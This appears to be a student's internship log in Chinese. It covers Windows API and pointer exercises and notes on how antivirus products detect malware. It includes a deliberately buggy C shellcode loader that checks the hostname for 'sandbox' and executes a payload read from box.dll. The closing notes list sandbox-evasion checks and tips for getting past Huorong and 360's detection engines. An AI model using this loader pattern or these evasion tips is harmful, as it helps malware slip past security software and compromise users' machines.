7.14生产实习日志

Windows API 与指针练习

测试窗口

1
2
3
4
5
#include<stdio.h>
#include<Windows.h>
int main() {
MessageBox(0,L"1234",0,0);
}

1

创建线程

1
2
3
4
5
6
7
8
9
10
11
12
13
#include<stdio.h>
#include<Windows.h>

DWORD WINAPI ThreadProc(LPVOID lpParameter) {
MessageBox(0,0, 0, 0);
return 0;
}

int main() {
HANDLE thread=CreateThread(0, 0, ThreadProc, 0, 0, 0);
WaitForSingleObject(thread,-1);
return 0;
}

2

指针练习

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#include<stdio.h>
#include<Windows.h>



int main() {

STARTUPINFOA si;
PROCESS_INFORMATION pi;
ZeroMemory(&si, sizeof(si));
si.cb = sizeof(si);
ZeroMemory(&pi, sizeof(pi));

if (!CreateProcessA("C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe",
"msedge www.baidu.com",
NULL,
NULL,
FALSE,
0,
NULL,
NULL,
&si,
&pi))
{
fprintf(stderr, "CreateProcess failed\n");
return -1;
}
return 0;
}

4

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
#include<windows.h>
#include<string.h>
#include<stdio.h>
#include<stdlib.h>

#pragma warning(disable:4996)
/*
要求1 单步调试 并处理所有的错误语法 最终程序运行结果是弹窗一个弹窗
要求2 对GetHostName函数进行改造 hostName改为二级指针的方式传递
要求3 对GetHostName函数进行改造 hostName作为返回值 传入方式为1级指针
*/

BOOL GetHostName(CHAR* hostName)
{
DWORD hostNameLen = sizeof(hostName);
if (!GetComputerNameA(hostName, &hostNameLen)) // GetComputerNameA是win32 的api 获取电脑hostname 第一个参数为存放hostname的内存缓冲区 第二个参数为缓冲区大小的地址
{
return FALSE;
}
return TRUE;
}

BOOL CheckIsSandbox()
{
CHAR hostName[MAX_PATH] = { 0 };
CHAR* sandboxName = "sandbox";

if(!GetHostName(hostName))
return FALSE;

if (!strstr(hostName, sandboxName)) //strstr 字符串比较函数 bool类型
{
printf("%s\n", "not in sandbox");
return TRUE;
}
return FALSE;
}

BOOL ReadPayload(char* shellcodeBuffer, PDWORD shellcodeSize)
{
FILE* file = { 0 };
WCHAR* buffer = NULL;
SIZE_T file_size = { 0 };


file = fopen(L"box.dll", "rb"); // 打开文件
if (file == NULL) {
perror("Error opening file");
return FALSE;
}

fseek(file, 0, SEEK_END); // 获取文件大小
file_size = ftell(file);
rewind(file);

buffer = (char*)calloc(file_size, 1);
if (buffer == NULL) {
perror("Memory allocation error");
fclose(file);
return FALSE;
}

fread(buffer, sizeof(char), file_size, file); // 将读取文件内容到内存拷贝到我们申请的内存中
*shellcodeBuffer = &buffer;
*shellcodeSize = &file_size;

fclose(file);// 关闭文件
return TRUE;
}

BOOL ExecShellcode(char* shellcode, DWORD shellcodeSize)
{
PVOID* shellcodeBuffer = NULL;
if (shellcodeSize == 0)
{
printf("Invalid shellCode length\n");
return FALSE;
}

shellcodeBuffer = calloc(shellcodeSize, 1);
memcpy(shellcodeBuffer, shellcode, shellcodeSize);
((void(*)())shellcodeBuffer)();
return TRUE;


}

int main()
{
if (!CheckIsSandbox())
{
return 1;
}
else
{
CHAR* shellcodeBuffer = NULL;
DWORD shellcodeSize = 0;
if(!ReadPayload(shellcodeBuffer, &shellcodeSize))
return 1;
ExecShellcode(shellcodeBuffer, shellcodeSize);\

}
return 0;
}

1>D:\Users\Shuxia\Desktop\生产实习\7.14\pointer_demo\pointer_demo\main1.c(46,25): warning C4133: “函数”: 从“unsigned short [8]”到“const char *”的类型不兼容
1>D:\Users\Shuxia\Desktop\生产实习\7.14\pointer_demo\pointer_demo\main1.c(56,38): warning C4133: “=”: 从“char *”到“WCHAR *”的类型不兼容
1>D:\Users\Shuxia\Desktop\生产实习\7.14\pointer_demo\pointer_demo\main1.c(64,28): warning C4047: “=”:“char”与“WCHAR **”的间接级别不同
1>D:\Users\Shuxia\Desktop\生产实习\7.14\pointer_demo\pointer_demo\main1.c(65,29): warning C4047: “=”:“DWORD”与“SIZE_T *”的间接级别不同

5

修改后

2

杀软与特征检测

软件属性

  1. 指定查杀(给定对象,检测是否含有恶意代码)
  2. 能识别恶意代码的类型
  3. 宏病毒,感染型的病毒,能将病毒从宿主程序剥离。

杀软的引擎

1.分析模块(数据格式的识别)

2.特征库(hash值,md5值)

3.扫描核心。

静态查杀

1.特征码识别(hash,文件名,函数名,字符串,api)

2.云查杀(上传到云端进行检测)

3.校验和(特征码检测的一种)

4.启发式(QVM)

5.Yara规则

文件报毒的情况

1.下载文件就报毒(肯定是静态)

2.文件落地不会报毒,但是双击运行报毒(动态)

动态查杀

  1. 沙箱检测
  2. 配合云传。
  3. 规避沙箱(针对沙箱环境与正常环境的区别)
  4. 写一份检测代码
    检测一点(内存空间小,运行时间(沙箱环境中,时间流速较快),主机名,CPU核心数,进程数量,io设备数量)
  5. 动态监控(行为检测)
    • 检测服务相关
    • 2.检测注册表
    • 3.敏感命令(net user,whoami)
    • 4.网络请求
    • 5.策略组
    • 6.防火墙
    • 7.Windows API

认识杀软

杀软的检测分为静态查杀与动态查杀

杀软检测流程

特征库 识别性的二进制片段

  1. 基于特征码进行检测:杀毒软件的病毒库记录了一些恶意软件的特征码,检测时提取特征码和库内做比对来判断。
  2. 利用启发式恶意软件检测:检测进程链。
  3. 基于行为的恶意软件检测:对敏感行为进行实时监控,如果某一程序有如常见恶意代码的行为,则视其为恶意软件,是启发式的延申。

火绒

火绒5.0

特征匹配(特征库检测)
静态检测

火绒6.0(公测时间2024.4.24)

新增:启发式查杀(检测API,沙箱检测)
AMSI
内存防护
恶意行为监控

如果只是针对火绒5.0的版本,只要将静态做好就问题不大。

白加黑+BOF执行是能绕过火绒6.0的

360安全卫士

360(无核晶)

360的六大引擎:
360云查杀引擎、360启发式引擎、QEX脚本查杀引擎、(最为无语)QVMⅡ人工智能引擎、鲲鹏引擎、反勒索引擎
特征检测:
APT样本特征、环境特征

安全云大脑!!!(360检测的主要手段)

  • 360核晶(兼容性差,资源耗费高)

核晶利用虚拟化技术,在本地建立一个小型沙箱。
会针对行为检测。
核晶配合云大脑,算是目前国内免费杀软中比较厉害的。
检测可以行为:注册表,计划任务,添加用户,加驱动

  • 360杀毒

接入安全大脑,QVM人工智能。
QVM:只需要去除一些多余信息,模拟一下正确程序就好了
Loader : 无图标,无签名,清单信息,调试信息

Windows Denfender

庞大的特征库,基本上一两天就会更新一次。
会上传VT云沙箱。
动态与启发式(一般)